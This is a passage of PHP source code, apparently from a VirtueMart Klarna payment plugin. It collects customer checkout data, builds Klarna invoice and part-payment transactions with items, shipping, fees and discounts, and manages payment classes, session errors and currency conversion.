		$klarna_countries = array("swe", "deu", "dnk", "nld", "fin", "nor");
		return $klarna_countries;
	}

	/**
	 * @static
	 * @return array
	 */
	static function getDataFromEditPayment () {
		VmConfig::loadJLang('com_virtuemart_shoppers', true);

		$kIndex = 'klarna_';
		$klarna['klarna_paymentmethod'] = JRequest::getVar ($kIndex . 'paymentmethod');
		if ($klarna['klarna_paymentmethod'] == 'klarna_invoice') {
			$klarna_option = 'invoice';
		} elseif ($klarna['klarna_paymentmethod'] == 'klarna_partPayment') {
			$klarna_option = 'part';
		} elseif ($klarna['klarna_paymentmethod'] == 'klarna_speccamp') {
			$klarna_option = 'spec';
		} else {
			return NULL;

		}
		$prefix=$klarna_option . '_' . $kIndex ;
		//Removes spaces, tabs, and other delimiters.
		$klarna['pno'] = preg_replace ('/[ \t\,\.\!\#\;\:\r\n\v\f]/', '', JRequest::getVar ($prefix . 'pnum', ''));
		$klarna['socialNumber'] = preg_replace ('/[ \t\,\.\!\#\;\:\r\n\v\f]/', '', JRequest::getVar ($prefix . 'socialNumber'));
		$klarna['phone'] = JRequest::getVar ($prefix . 'phone');
		$klarna['email'] = JRequest::getVar ($prefix . 'emailAddress');
		$klarna['street'] = JRequest::getVar ($prefix . 'street');
		$klarna['house_no'] = JRequest::getVar ($prefix . 'homenumber');
		$klarna['house_ext'] = JRequest::getVar ($prefix . 'house_extension');
		$klarna['year_salary'] = JRequest::getVar ($prefix . 'ysalary');
		$klarna['reference'] = JRequest::getVar ($prefix . 'reference');
		$klarna['city'] = JRequest::getVar ($prefix . 'city');
		$klarna['zip'] = JRequest::getVar ($prefix . 'zipcode');
		$klarna['first_name'] = JRequest::getVar ($prefix . 'firstName');
		$klarna['last_name'] = JRequest::getVar ($prefix . 'lastName');
		$klarna['invoice_type'] = JRequest::getVar ('klarna_invoice_type');
		$klarna['company_name'] = JRequest::getVar ('klarna_company_name');
		$klarna['phone'] = JRequest::getVar ($prefix . 'phone');
		$klarna['consent'] = JRequest::getVar ($prefix . 'consent');
		$klarna['gender'] = JRequest::getVar ($prefix . 'gender');
		switch ($klarna['gender']) {
			case KlarnaFlags::MALE :
				$klarna['title'] = JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MR');
				break;
			case KlarnaFlags::FEMALE:
				//$this->klarna_gender = KlarnaFlags::FEMALE;
				$klarna['title'] = JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MRS');
				break;
		}
		$klarna['birth_day'] = JRequest::getVar ($prefix . 'birth_day', '');
		$klarna['birth_month'] = JRequest::getVar ($prefix . 'birth_month', '');
		$klarna['birth_year'] = JRequest::getVar ($prefix . 'birth_year', '');
		if (isset($klarna['birth_year']) and !empty($klarna['birth_year'])) {
			// due to the select list
			if ($klarna['birth_month'] != 0 and $klarna['birth_month'] != 0) {
				$klarna['birthday'] = $klarna['birth_year'] . "-" . $klarna['birth_month'] . "-" . $klarna['birth_day'];
				$klarna['pno_frombirthday'] = JRequest::getVar ($prefix . 'birth_day') .
					JRequest::getVar ($prefix . 'birth_month') .
					JRequest::getVar ($prefix . 'birth_year');
			} else {
				$klarna['birthday'] = '';
			}
		} else {
			$klarna['birthday'] = '';
		}
		return $klarna;
	}

	/**
	 * @static
	 * @param $cData
	 * @param $order
	 * @return KlarnaAddr
	 */
	private static function getBilling ($cData, $order) {

		$bt = $order['BT'];
		$bill_country = shopFunctions::getCountryByID ($bt['virtuemart_country_id'], 'country_2_code');

		//$cData = self::countryData($method, $country);
		$bill_street = $bt['address_1'];
		$bill_ext = "";
		$bill_number = "";
		if (strtolower ($bill_country) == "de" || strtolower ($bill_country) == "nl") {
			$splitAddress = array('', '', '');
			$splitAddress = self::splitAddress ($bt['address_1']);
			$bill_street = $splitAddress[0];
			$bill_number = $splitAddress[1];
			switch ($bt['title']) {
				case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MR'):
					//$this->klarna_gender = KlarnaFlags::MALE;
					break;
				case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MISS'):
				case JText::_ ('COM_VIRTUEMART_SHOPPER_TITLE_MRS'):
					//$this->klarna_gender = KlarnaFlags::FEMALE;
					break;
				default:
					//$this->klarna_gender = NULL;
					break;
			}
			if (strtolower ($bill_country) == "nl") {
				$bill_ext = $splitAddress[2];
			}
		}
		$billing = new KlarnaAddr(
			$bt['email'],
			$bt['phone_1'],
			@$bt['phone_2'],
			utf8_decode ($bt['first_name']),
			utf8_decode ($bt['last_name']), '',
			utf8_decode ($bill_street),
			$bt['zip'],
			utf8_decode ($bt['city']),
			$bill_country,
			$bill_number,
			$bill_ext
		);

		return $billing;
	}

	/**
	 * @static
	 * @param $method
	 * @param $order
	 * @param $klarna_pclass
	 * @return array|bool
	 * @throws Exception
	 */
	public static function addTransaction ($method, $order, $klarna_pclass) {

		if (!class_exists ('KlarnaAddr')) {
			require (JPATH_VMKLARNAPLUGIN . DS . 'klarna' . DS . 'api' . DS . 'klarnaaddr.php');
		}
		$session = JFactory::getSession ();
		$sessionKlarna = $session->get ('Klarna', 0, 'vm');
		$sessionKlarnaData = unserialize ($sessionKlarna);
		if (!isset($sessionKlarnaData)) {
			throw new Exception("No klarna Session data set");
		}
		$klarnaData = $sessionKlarnaData->KLARNA_DATA;

		if (VMKLARNA_SHIPTO_SAME_AS_BILLTO) {
			$shipTo = $order['details']['BT'];
		} else {
			$shipTo = (!isset($order['details']['ST']) or empty($order['details']['ST']) or count ($order['details']['ST']) == 0) ? $order['details']['BT'] : $order['details']['ST'];
		}

		$billTo = $order['details']['BT'];
		$country = shopFunctions::getCountrybyID ($shipTo->virtuemart_country_id, 'country_3_code');
		$cData = self::countryData ($method, $country);

		//$total_price_excl_vat = self::convertPrice($order['details']['BT']->order_subtotal, $cData['currency_code']);
		//$total_price_incl_vat = self::convertPrice($order['details']['BT']->order_subtotal + $order['details']['BT']->order_tax, $cData['currency_code'], $order['details']['BT']->order_currency);

		$mode = KlarnaHandler::getKlarnaMode ($method, $cData['country_code_3']);
		$ssl = KlarnaHandler::getKlarnaSSL ($mode);
		// Instantiate klarna object.
		$klarna = new Klarna_virtuemart();
		$klarna->config ($cData['eid'], $cData['secret'], $cData['country_code'], $cData['language'], $cData['currency_code'], $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), $ssl);

		// Sets order id's from other systems for the upcoming transaction.
		$klarna->setEstoreInfo ($order['details']['BT']->order_number);

		// Fill the good list the we send to Klarna
		foreach ($order['items'] as $item) {

			if ($item->product_basePriceWithTax!=0.0) {
				if (  $item->product_basePriceWithTax != $item->product_final_price) {
					$price= $item->product_basePriceWithTax;
				} else {
					$price= $item->product_final_price;
				}
			} else {
				if (  $item->product_priceWithoutTax != $item->product_item_price) {
					$price= $item->product_item_price;
				} else {
					$price= $item->product_discountedPriceWithoutTax;
				}
			}

			$item_price = self::convertPrice ($price, $order['details']['BT']->order_currency, $cData['currency_code']);

			$item_price = (double)(round ($item_price, 2));
			$item_tax_percent=0;
			foreach ($order['calc_rules'] as $calc_rule) {
				if ($calc_rule->virtuemart_order_item_id==$item->virtuemart_order_item_id AND $calc_rule->calc_kind== 'VatTax') {
					$item_tax_percent=$calc_rule->calc_value;
					break;
				}
			}
			//$item_discount_percent = (double)(round (abs (($item->product_subtotal_discount / $item->product_quantity) * 100 / $price), 2));
			$item_discount_percent=0.0;
			$discount_tax_percent=0.0;
			$klarna->addArticle ($item->product_quantity, utf8_decode ($item->order_item_sku), utf8_decode (strip_tags ($item->order_item_name)), $item_price, (double)$item_tax_percent, $item_discount_percent, KlarnaFlags::INC_VAT);
			$discount_tax_percent=0.0;
			$includeVat=KlarnaFlags::INC_VAT;
			if ($item->product_subtotal_discount != 0.0) {
				if ($item->product_subtotal_discount > 0.0) {
					$discount_tax_percent=$item_tax_percent;
					$includeVat=0;
				}
				$name=utf8_decode (strip_tags ($item->order_item_name)). ' ('.JText::_('VMPAYMENT_KLARNA_PRODUCTDISCOUNT'). ')';
				$discount = self::convertPrice (abs($item->product_subtotal_discount), $order['details']['BT']->order_currency, $cData['currency_code']);
				$discount = (double)(round (abs($discount), 2)) * -1 ;
				$klarna->addArticle (1, utf8_decode ($item->order_item_sku), $name, $discount, (double)$discount_tax_percent, $item_discount_percent, $includeVat);
			}
		}
// this is not correct yet
/*
		foreach($order['calc_rules'] as $rule){
			if ($rule->calc_kind == 'DBTaxRulesBill' or $rule->calc_kind == 'taxRulesBill' or $rule->calc_kind == 'DATaxRulesBill') {
				$klarna->addArticle (1, "", $rule->calc_rule_name, $rule->calc_amount, 0.0, 0.0, 0);

			}

		}
		*/

// Add shipping
		$shipment = self::convertPrice ($order['details']['BT']->order_shipment + $order['details']['BT']->order_shipment_tax, $order['details']['BT']->order_currency, $cData['currency_code']);
 			foreach ($order['calc_rules'] as $calc_rule) {
				if ($calc_rule->calc_kind== 'shipment') {
					$shipment_tax_percent=$calc_rule->calc_value;
					break;
				}
			}
		$klarna->addArticle (1, "shippingfee", JText::_ ('VMPAYMENT_KLARNA_SHIPMENT'), ((double)(round (($shipment), 2))), round ($shipment_tax_percent, 2), 0, KlarnaFlags::IS_SHIPMENT + KlarnaFlags::INC_VAT);


		// Add invoice fee
		if ($klarna_pclass == -1) { //Only for invoices!
			$payment_without_tax = self::convertPrice ($order['details']['BT']->order_payment, $order['details']['BT']->order_currency, $cData['currency_code']);
			$payment_with_tax = self::convertPrice ($order['details']['BT']->order_payment + $order['details']['BT']->order_payment_tax, $order['details']['BT']->order_currency, $cData['currency_code']);
			foreach ($order['calc_rules'] as $calc_rule) {
				if ( $calc_rule->calc_kind== 'payment') {
					$payment_tax_percent=$calc_rule->calc_value;
					break;
				}
			}
 			if ($payment_without_tax > 0) {
				//vmdebug('invoicefee', $payment, $payment_tax);
				$klarna->addArticle (1, "invoicefee", utf8_decode(JText::_ ('VMPAYMENT_KLARNA_INVOICE_FEE_TITLE')), ((double)(round (($payment_with_tax), 2))), (double)round ($payment_tax_percent, 2), 0, KlarnaFlags::IS_HANDLING + KlarnaFlags::INC_VAT);
			}
		}
		// Add coupon if there is any
		if (abs ($order['details']['BT']->coupon_discount) > 0.0) {
			$coupon_discount = self::convertPrice (round ($order['details']['BT']->coupon_discount), $order['details']['BT']->order_currency, $cData['currency_code']);
			$coupon_discount =(double)(round (abs($coupon_discount), 2)) * -1 ;
			//vmdebug('discount', $coupon_discount);
			$klarna->addArticle (1, 'discount',utf8_decode(JText::_ ('VMPAYMENT_KLARNA_DISCOUNT')) . ' ' . utf8_decode($order['details']['BT']->coupon_code),  $coupon_discount , 0, 0, KlarnaFlags::INC_VAT);
		}


		try {
			$klarna_shipping = new KlarnaAddr(
				$order['details']['BT']->email,
				$shipTo->phone_1,
				isset($shipTo->phone_2) ? $shipTo->phone_2 : "",
				utf8_decode ($shipTo->first_name),
				utf8_decode ($shipTo->last_name), '',
				utf8_decode ($shipTo->address_1),
				$shipTo->zip,
				utf8_decode ($shipTo->city),
				utf8_decode ($cData['country']),
				KlarnaHandler::setHouseNo (isset($shipTo->house_no) ? $shipTo->house_no : "", $cData['country_code_3']),
				KlarnaHandler::setAddress2 ($shipTo->address_2, $cData['country_code_3'])
			);
		}
		catch (Exception $e) {
			VmInfo ($e->getMessage ());
			return FALSE;
		}

		$klarna_reference = ""; // what is that?
		if ($klarnaData['invoice_type'] == 'company') {
			$klarna_shipping->isCompany = TRUE;
			$klarna_shipping->setCompanyName ($shipTo->company);
			$klarna_comment = $shipTo->first_name . ' ' . $shipTo->last_name; //$klarnaData['reference'];

			if ($klarna_shipping->getLastName () == "") {
				$klarna_shipping->setLastName ("-");
			}
			if ($klarna_shipping->getFirstName () == "") {
				$klarna_shipping->setFirstName ("-");
			}
		} else {
			$klarna_reference = "";
			$klarna_comment = "";
		}

		// Only allow billing and shipping to be the same for Germany and the Netherlands
		if (VMKLARNA_SHIPTO_SAME_AS_BILLTO) {
			$klarna_billing = $klarna_shipping;
		} else {
			$klarna_billing = self::getBilling ($cData, $order);
		}

		$klarna_flags = KlarnaFlags::RETURN_OCR; // get ocr back from KO.

		$klarna->setComment ($klarna_comment);
		$klarna->setReference ($klarna_reference, "");
		$pno = self::getPNOfromSession ($sessionKlarnaData->KLARNA_DATA, $country);
		try {
			$klarna->setAddress (KlarnaFlags::IS_SHIPPING, $klarna_shipping);
			$klarna->setAddress (KlarnaFlags::IS_BILLING, $klarna_billing);
			if (isset($klarnaData['year_salary'])) {
				$klarna->setIncomeInfo ("'yearly_salary'", $klarnaData['year_salary']);
			}

			$result = $klarna->addTransaction ($pno, ($klarna->getCountry () == KlarnaCountry::DE || $klarna->getCountry () == KlarnaCountry::NL) ? $klarnaData['gender'] : NULL, $klarna_flags, $klarna_pclass);
			$result['eid'] = $cData['eid'];
			$result['status_code'] = $result[2];
			$result['status_text'] = JText::_ ('VMPAYMENT_KLARNA_ORDER_STATUS_TEXT_' . $result[2]);
			return $result; //return $result;
		}
		catch (Exception $e) {
			$result['status_code'] = KlarnaFlags::DENIED;
			$result['status_text'] = mb_convert_encoding ($e->getMessage (), 'UTF-8', 'ISO-8859-1'). "  (#" . $e->getCode () . ")";
			return $result; //return $result;
			//self::redirectPaymentMethod('error', htmlentities($e->getMessage()) .  "  (#" . $e->getCode() . ")");
		}

	}

	private static function setAddress2 ($address2, $country) {

		if ($country == 'NLD') {
			return $address2;
		} else {
			return NULL;
		}
	}

	private static function setHouseNo ($houseNo, $country) {

		if (($country == 'DEU') or ($country == 'NLD')) {
			return $houseNo;
		} else {
			return NULL;
		}
	}


	/**
	 * Returns a collection of addresses that are connected to the
	 * supplied SSN
	 *
	 * @param <type> $pno The SSN of the user. This method is only available
	 * for swedish customers
	 * @return array
	 */
	public static function getAddresses ($pno, $settings, $method) {

		// Only available for sweden.
		$addresses = array();
		$klarna = new Klarna_virtuemart();
		$mode = KlarnaHandler::getKlarnaMode ($method, $settings['country_code_3']);
		$klarna->config ($settings['eid'], $settings['secret'], KlarnaCountry::SE, KlarnaLanguage::SV, KlarnaCurrency::SEK, $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), $mode);
		try {
			$addresses = $klarna->getAddresses ($pno, NULL, KlarnaFlags::GA_GIVEN);
		}
		catch (Exception $e) {
			// the message is returned NOT in UTF-8
			$msg = mb_convert_encoding ($e->getMessage (), 'UTF-8', 'ISO-8859-1');
			VmInfo ($msg);
		}
		unset($klarna);
		return $addresses;
	}

	/**
	 * @static
	 * @param $method
	 * @return array
	 */
	public static function fetchAllPClasses ($method) {

		$message = '';
		$success = '';
		$results = array();

		$countries = self::getKlarnaCountries ();

		$pc_type = KlarnaHandler::getKlarna_pc_type ();
		if (empty($pc_type)) {
			return FALSE;
		} else {
			// delete the file directly
			if (file_exists ($pc_type)) {
				unlink ($pc_type);
			}
		}

		foreach ($countries as $country) {
			$active_country = "klarna_active_" . $country;
			if ($method->$active_country) {
				// country is CODE 3==> converting to 2 letter country
				//$country = self::convertCountryCode($method, $country);
				$lang = self::getLanguageForCountry ($method, $country);
				$flagImg = JURI::root (TRUE) . '/administrator/components/com_virtuemart/assets/images/flag/' . strtolower ($lang) . '.png';
				$flag = "<img src='" . $flagImg . "' />";
				try {
					$settings = self::getCountryData ($method, $country);
					$klarna = new Klarna_virtuemart();
					$klarna->config ($settings['eid'], $settings['secret'], $settings['country'], $settings['language'], $settings['currency'], KlarnaHandler::getKlarnaMode ($method, $settings['country_code_3']), VMKLARNA_PC_TYPE, $pc_type, TRUE);
					$klarna->fetchPClasses ($country);
					$success .= shopFunctions::getCountryByID ($settings['virtuemart_country_id']);
				}
				catch (Exception $e) {
					$message .= $flag . " " . shopFunctions::getCountryByID ($settings['virtuemart_country_id']) .
						": " . $e->getMessage () . ' Error Code #' .
						$e->getCode () . '</span></br>';
				}
			}
		}
		$results['msg'] = $message;
		$results['notice'] = $success;
		return $results;
		//echo $notice;
	}

	static function createKlarnaFolder () {

		$safePath = VmConfig::get ('forSale_path', '');
		if ($safePath) {
			$exists = JFolder::exists ($safePath . 'klarna');
			if (!$exists) {
				$created = JFolder::create ($safePath . 'klarna');
				if ($created) {
					return TRUE;
				}
			} else {
				return TRUE;
			}
		}
		$uri = JFactory::getURI ();
		$link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config';
		VmError (JText::sprintf ('VMPAYMENT_KLARNA_CANNOT_STORE_CONFIG', '<a href="' . $link . '">' . $link . '</a>', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')));
		return FALSE;
	}

	/**
	 * Redirects user to payment method stage.
	 *
	 * @param <type> $type e.g. 'error', ...
	 * @param <type> $message
	 */
	public static function redirectPaymentMethod ($type = NULL, $message = NULL) {

		$log = utf8_encode ($message);
		//Display the error.
		if (strlen ($log) > 0) {
			if ($type === NULL) {
				$type = 'message';
			}
			$app = JFactory::getApplication ();
			$app->enqueueMessage (JText::_ (urldecode ($log)), $type);
		}
		//Redirect to previous page.
		$session = JFactory::getSession ();
		$sessionKlarna = new stdClass();
		$sessionKlarna->klarna_error = addslashes ($message);
		$session->set ('Klarna', serialize ($sessionKlarna), 'vm');
		if (isset($_SESSION['klarna_paymentmethod'])) {
			$pid = $_SESSION['klarna_paymentmethod'];
			unset($_SESSION['klarna_paymentmethod']);
		}
		//$_SESSION['klarna_error'] = addslashes($message);
		$app = JFactory::getApplication ();
		$app->enqueueMessage ($message);
		$app->redirect (JRoute::_ ('index.php?option=com_virtuemart&view=cart',FALSE), JText::_ ('COM_VIRTUEMART_CART_ORDERDONE_DATA_NOT_VALID'));
	}

	/**
	 *
	 * @param  <type> $address
	 * @return <type>
	 */
	public static function splitAddress ($address) {

		$numbers = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9');
		$characters = array(
			'-', '/', ' ', '#', '.', 'a', 'b', 'c', 'd', 'e',
			'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
			'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A',
			'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
			'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W',
			'X', 'Y', 'Z');
		$specialchars = array('-', '/', ' ', '#', '.');

		//Where do the numbers start? Allow for leading numbers
		$numpos = self::strpos_arr ($address, $numbers, 2);
		//Get the streetname by splitting off the from the start of the numbers
		$streetname = substr ($address, 0, $numpos);
		//Strip off spaces at the end
		$streetname = trim ($streetname);

		//Get the housenumber+extension
		$numberpart = substr ($address, $numpos);
		//and strip off spaces
		$numberpart = trim ($numberpart);

		//Get the start position of the extension
		$extpos = self::strpos_arr ($numberpart, $characters, 0);

		//See if there is one, if so
		if ($extpos != '') {
			//get the housenumber
			$housenumber = substr ($numberpart, 0, $extpos);
			// and the extension
			$houseextension = substr ($numberpart, $extpos);
			// and strip special characters from it
			$houseextension = str_replace ($specialchars, '', $houseextension);
		} else {
			//Otherwise, we already have the housenumber
			$housenumber = $numberpart;
		}

		return array($streetname, $housenumber, $houseextension);
	}

	/**
	 *
	 * @param  <type> $haystack
	 * @param  <type> $needle
	 * @param  <type> $where
	 * @return <type>
	 */
	private static function strpos_arr ($haystack, $needle, $where) {

		$defpos = 10000;
		if (!is_array ($needle)) {
			$needle = array($needle);
		}
		foreach ($needle as $what) {
			if (($pos = strpos ($haystack, $what, $where)) !== FALSE) {
				if ($pos < $defpos) {
					$defpos = $pos;
				}
			}
		}
		return $defpos;
	}


	/**
	 * gets Eid and Secret for activated countries.
	 */
	public static function getEidSecretArray ($method) {

		$eid_array = array();
		if (isset($method->klarna_merchantid_swe) && $method->klarna_merchantid_swe != "" && $method->klarna_sharedsecret_swe != "") {
			$eid_array['swe']['secret'] = $method->klarna_sharedsecret_swe;
			$eid_array['swe']['eid'] = (int)$method->klarna_merchantid_swe;
		}

		if (isset($method->klarna_merchantid_nor) && $method->klarna_merchantid_nor != "" && $method->klarna_sharedsecret_nor != "") {
			$eid_array['nor']['secret'] = $method->klarna_sharedsecret_nor;
			$eid_array['nor']['eid'] = $method->klarna_merchantid_nor;
		}

		if (isset($method->klarna_merchantid_deu) && $method->klarna_merchantid_deu != "" && $method->klarna_sharedsecret_deu != "") {
			$eid_array['deu']['secret'] = $method->klarna_sharedsecret_deu;
			$eid_array['deu']['eid'] = $method->klarna_merchantid_deu;
		}

		if (isset($method->klarna_nld_merchantid) && $method->klarna_nld_merchantid != "" && $method->klarna_sharedsecret_nld != "") {
			$eid_array['nld']['secret'] = $method->klarna_sharedsecret_nld;
			$eid_array['nld']['eid'] = $method->klarna_nld_merchantid;
		}

		if (isset($method->klarna_merchantid_dnk) && $method->klarna_merchantid_dnk != "" && $method->klarna_sharedsecret_dnk != "") {
			$eid_array['dnk']['secret'] = $method->klarna_sharedsecret_dnk;
			$eid_array['dnk']['eid'] = $method->klarna_merchantid_dnk;
		}

		if (isset($method->klarna_merchantid_fin) && $method->klarna_merchantid_fin != "" && $method->klarna_sharedsecret_fin != "") {
			$eid_array['fin']['secret'] = $method->klarna_sharedsecret_fin;
			$eid_array['fin']['eid'] = $method->klarna_merchantid_fin;
		}

		return $eid_array;
	}

	/**
	 * @param     $obj
	 * @param int $level
	 * @return array
	 */
	public function xmlToArray ($obj, $level = 0) {

		$aResult = array();

		if (!is_object ($obj)) {
			return $aResult;
		}

		$aChild = (array)$obj;

		if (sizeof ($aChild) > 1) {
			foreach ($aChild as $sName => $mValue) {
				if ($sName == "@attributes") {
					$sName = "_attributes";
				}

				if (is_array ($mValue)) {
					foreach ($mValue as $ee => $ff) {
						if (!is_object ($ff)) {
							$aResult[$sName][$ee] = $ff;
						} else {
							if (get_class ($ff) == 'SimpleXMLElement') {
								$aResult[$sName][$ee] = self::xmlToArray ($ff, $level + 1);
							}
						}
					}
				} else {
					if (!is_object ($mValue)) {
						$aResult[$sName] = $mValue;
					} else {
						if (get_class ($mValue) == 'SimpleXMLElement') {
							$aResult[$sName] = self::xmlToArray ($mValue, $level + 1);
						}
					}
				}
			}
		} else {
			if (sizeof ($aChild) > 0) {
				foreach ($aChild as $sName => $mValue) {
					if ($sName == "@attributes") {
						$sName = "_attributes";
					}

					if (!is_array ($mValue) && !is_object ($mValue)) {
						$aResult[$sName] = $mValue;
					} else {
						if (is_object ($mValue)) {
							$aResult[$sName] = self::xmlToArray ($mValue, $level + 1);
						} else {
							foreach ($mValue as $sNameTwo => $sValueTwo) {
								if (!is_object ($sValueTwo)) {
									$aResult[$obj->getName ()][$sNameTwo] = $sValueTwo;
								} else {
									if (get_class ($sValueTwo) == 'SimpleXMLElement') {
										$aResult[$obj->getName ()][$sNameTwo] =
											self::xmlToArray ($sValueTwo, $level + 1);
									}
								}
							}
						}
					}
				}
			}
		}

		return $aResult;
	}

	/**
	 * @static
	 * @param $settings
	 * @param $mode
	 * @param $klarna_invoice_no
	 * @return string
	 */
	public static function checkOrderStatus ($settings, $mode, $orderNumber) {

		try {
			$klarna = new Klarna_virtuemart();
			$klarna->config ($settings['eid'], $settings['secret'], $settings['country'], $settings['language'], $settings['currency'], $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), TRUE);
			vmdebug ('checkOrderStatus', $klarna);
			$os = $klarna->checkOrderStatus ($orderNumber, 1);
		}
		catch (Exception $e) {
			$msg = $e->getMessage () . ' #' . $e->getCode () . ' </br>';
			VmError ($msg);
			return $msg;
		}
		//$os = self::getStatusForCode($os);
		return $os;
	}


	/**
	 * Return pclasses stored in json file.
	 */
	public static function getPClasses ($type = NULL, $mode, $settings) {

		//$settings = self::countryData($method, $country);
		try {
			$klarna = new Klarna_virtuemart();
			$klarna->config ($settings['eid'], $settings['secret'], $settings['country'], $settings['language'], $settings['currency'], $mode, VMKLARNA_PC_TYPE, KlarnaHandler::getKlarna_pc_type (), TRUE);
			return $klarna->getPClasses ($type);
		}
		catch (Exception $e) {

		}
	}

	static function getCheapestPclass ($kCheckout, &$cheapest, &$minimum) {

		$pclasses = $kCheckout->aPClasses;
		if (empty($pclasses)) {
			$minimum = 0;
			return;
		}
		$cheapest = 0;
		$minimum = '';
		foreach ($pclasses as $pclass) {
			if ($cheapest == 0 || $pclass['monthlyCost'] < $cheapest) {
				$cheapest = $pclass['monthlyCost'];
			}
			if ($pclass['pclass']->getMinAmount () < $minimum || $minimum === '') {
				$minimum = $pclass['pclass']->getMinAmount ();
			}
		}

	}

	/**
	 * @param string $fld
	 * @return string
	 */
	public static function getVendorCountry ($fld = 'country_3_code') {

		if (!class_exists ('VirtueMartModelVendor')) {
			JLoader::import ('vendor', JPATH_ADMINISTRATOR . DS . 'components' . DS . 'com_virtuemart' . DS . 'models');
		}
		$virtuemart_vendor_id = 1;
		$model = VmModel::getModel ('vendor');
		$vendorAddress = $model->getVendorAdressBT ($virtuemart_vendor_id);
		$vendor_country = ShopFunctions::getCountryByID ($vendorAddress->virtuemart_country_id, $fld);
		return $vendor_country;
	}

	/**
	 * @param $klarnaError
	 * @param $klarnaOption
	 * @return bool
	 */
	function getKlarnaError (&$klarnaError, &$klarnaOption) {

		$session = JFactory::getSession ();
		$sessionKlarna = $session->get ('Klarna', 0, 'vm');
		if (empty($sessionKlarna)) {
			return FALSE;
		}
		$sessionKlarnaData = unserialize ($sessionKlarna);
		if (isset($sessionKlarnaData->klarna_error) and isset($sessionKlarnaData->klarna_paymentmethod)) {
			$klarnaError = $sessionKlarnaData->klarna_error; // it is a message to display
			$klarnaOption = $sessionKlarnaData->klarna_paymentmethod;
			return TRUE;
		} else {
			return FALSE;
		}

		return FALSE;
	}

	function setKlarnaErrorInSession ($msg, $option) {

		$session = JFactory::getSession ();
		$sessionKlarna = $session->get ('Klarna', 0, 'vm');
		if (empty($sessionKlarna)) {
			$sessionKlarnaData = new stdClass();
		} else {
			$sessionKlarnaData = unserialize ($sessionKlarna);
		}
		$sessionKlarnaData->klarna_error = $msg;
		//$sessionKlarnaData->klarna_option = $option;
		$session->set ('Klarna', serialize ($sessionKlarnaData), 'vm');
	}

	/**
	 *
	 */
	function clearKlarnaError () {

		$session = JFactory::getSession ();
		$sessionKlarna = $session->get ('Klarna', 0, 'vm');
		if ($sessionKlarna) {
			$sessionKlarnaData = unserialize ($sessionKlarna);
			if (isset($sessionKlarnaData->klarna_error)) {
				unset($sessionKlarnaData->klarna_error);
				//unset($sessionKlarnaData->klarna_option);
				$session->set ('Klarna', serialize ($sessionKlarnaData), 'vm');
			}
		}
	}

	/**
	 * @static
	 * @param $method
	 * @return int
	 */
	static function getKlarnaMode ($method, $country) {
		//return Klarna::BETA;
		// It is the VM specific store ID to test
		$merchant_id = strtolower ('klarna_merchantid_' . $country);
		if ($method->$merchant_id == VMPAYMENT_KLARNA_MERCHANT_ID_VM or $method->$merchant_id == VMPAYMENT_KLARNACHECKOUT_MERCHANT_ID_VM or $method->$merchant_id == VMPAYMENT_KLARNA_MERCHANT_ID_DEMO) {
			return Klarna::BETA;
		} else {
			return Klarna::LIVE;
		}
	}

	/**
	 * @static
	 * @param $mode
	 * @return bool
	 */
	static function getKlarnaSSL ($mode) {

		return ($mode == Klarna::LIVE);
	}

	/**
	 * @static
	 * @param        $price
	 * @param string $toCurrency
	 * @return float
	 */
	static function convertPrice ($price, $fromCurrency, $toCurrency = '', $cartPricesCurrency = '') {

		if (!(is_int ($toCurrency) or is_numeric ($toCurrency)) && !empty($toCurrency)) {
			$toCurrency = ShopFunctions::getCurrencyIDByName ($toCurrency);
		}
		if ($fromCurrency == $toCurrency) {
			return $price;
		}
		// product prices or total in cart is always in vendor currency
		$priceInNewCurrency = vmPSPlugin::getAmountInCurrency($price,$toCurrency);

		// set back the currency display
		if (empty($cartPricesCurrency)) {
			$cartPricesCurrency = $fromCurrency;
		}
		$cd = CurrencyDisplay::getInstance ($cartPricesCurrency);
		vmDebug ('convertPrice', $price,  $toCurrency, $fromCurrency, $cartPricesCurrency,$priceInNewCurrency);
		return $priceInNewCurrency['value'];
	}

	/*
		* if client has not given address then get cdata depending on the currency
		* otherwise get info depending on the country
		*/

	/**
	 * @static
	 * @param $method
	 * @param $address
	 * @return array|null
	 */
	static function getcData ($method, $address) {

		if (!isset($address['virtuemart_country_id'])) {
			$vendor_country = KlarnaHandler::getVendorCountry ();
			$cData = self::countryData ($method, $vendor_country);
		} else {
			$cart_country_code_3 = ShopFunctions::getCountryByID ($address['virtuemart_country_id'], 'country_3_code');
			// the user gave an address, get info according to his country
			$cData = self::countryData ($method, $cart_country_code_3);
		}
		return $cData;
	}

	/**
	 * @static
	 * @return null|string
	 */
	static function getKlarna_pc_type () {

		$safePath = VmConfig::get ('forSale_path', '');
		if ($safePath) {
			return $safePath . "klarna/klarna.json";
		} else {
			$uri = JFactory::getURI ();
			$link = $uri->root () . 'administrator/index.php?option=com_virtuemart&view=config';
			VmError (JText::sprintf ('VMPAYMENT_KLARNA_CANNOT_STORE_CONFIG', '<a href="' . $link . '">' . $link . '</a>', JText::_ ('COM_VIRTUEMART_ADMIN_CFG_MEDIA_FORSALE_PATH')));
			return NULL;
		}
	}


	/**
	 * Sweden: yymmdd-nnnn, it can be sent with or without dash "-" or with or without the two first numbers in the year.
	 * Finland: ddmmyy-nnnn
	 * Denmark: ddmmyynnnn
	 * Norway: ddmmyynnnnn
	 * Germany: ddmmyyyy
	 * Netherlands: ddmmyyyy
	 *
	 * @static
	 * @param $billTo
	 * @param $country
	 * @return string
	 */
	static function getPNOfromSession ($sessionData, $country) {

		if (($country == "NLD" || $country == "DEU")) {
			$pno = $sessionData['pno_frombirthday'];
		} else {
			$pno = $sessionData['socialNumber'];
		}

		return $pno;
	}
	/**
	 * @param $data
	 * @return bool
	 */
